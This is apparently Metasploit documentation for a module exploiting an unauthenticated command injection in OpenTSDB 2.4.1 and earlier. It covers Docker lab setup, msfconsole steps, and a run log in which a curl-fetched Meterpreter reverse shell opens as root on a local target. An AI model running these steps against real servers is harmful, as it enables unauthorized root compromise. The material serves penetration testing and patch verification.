Simon Janusz
6.3 KiB
Vulnerable Application
This module exploits an unauthenticated command injection vulnerability in OpenTSDB through 2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve remote code execution as the root user.
The module first attempts to obtain the OpenTSDB version via the api. If the version is 2.4.1 or lower, the module performs additional checks to obtain the configured metrics and aggregators. It then randomly selects one metric and one aggregator and uses those to instruct the target server to plot a graph. As part of this request, the key is set to the payload, which will then be executed by the target if the latter is vulnerable.
This module has been successfully tested against OpenTSDB version 2.4.1 running in Docker.
Installation Information
Manual Installation
For a manual installation, you can follow the official installation instructions here. This can be annoying though, so using Docker is recommended.
Docker Installation
For version 2.4.0, you can use the vulhub Docker image and follow the installation instructions here. That image was created for CVE-2020-35476, an older vulnerability in OpenTSDB through 2.4.0.
For any other version, you could leverage the vulhub image for OpenTSDB 2.4.0 and edit it to install the version you want. This approach was followed for 2.4.1.
Grab the vulhub OpenTSDB 2.4.0 Dockerfile and docker-entrypoint.sh from here and store them in a dedicated directory.
In the Dockerfile, replace all instances for 2.4.0 with your desired version, e.g. 2.4.1.
No edits are necessary for docker-entrypoint.sh.
Create a docker-compose.yml file with the following contents:
version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
Example file structure:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
Finally, build and run the image via docker-compose by running the below command in the directory with you docker-compose.yml file:
docker-compose up -d
After a few seconds, OpenTSDB will be available on port 4242. No additional configuration is required.
Verification Steps
- Start
msfconsole - Do:
use exploit/linux/http/opentsdb_key_cmd_injection - Do:
set RHOSTS [IP] - Do:
set LHOST [IP] - Do:
set SRVHOST [IP] - Do:
set FETCH_SRVHOST [IP] - Do:
exploit
Options
TARGETURI
The base path to OpenTSDB. The default value is /.
Targets
Id Name
-- ----
0 Linux
Scenarios
OpenTSDB 2.4.1 - Linux target
msf6 exploit(linux/http/opentsdb_key_cmd_injection) > options
Module options (exploit/linux/http/opentsdb_key_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 4242 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to OpenTSDB
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME yr no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8081 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/opentsdb_key_cmd_injection) > run RHOSTS=127.0.0.1 LHOST=192.168.112.1
[*] Started reverse TCP handler on 192.168.112.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is OpenTSDB version 2.4.1
[*] Identified 3 configured metrics. Using metric sys.cpu.idle
[*] Identified 35 configured aggregators. Using aggregator none
[*] Executing the payload
[*] Sending stage (3045380 bytes) to 192.168.112.1
[*] Meterpreter session 9 opened (192.168.112.1:4444 -> 192.168.112.1:61423) at 2023-09-08 14:32:05 +0100
meterpreter > getuid
Server username: root
meterpreter > pwd
/usr/share/opentsdb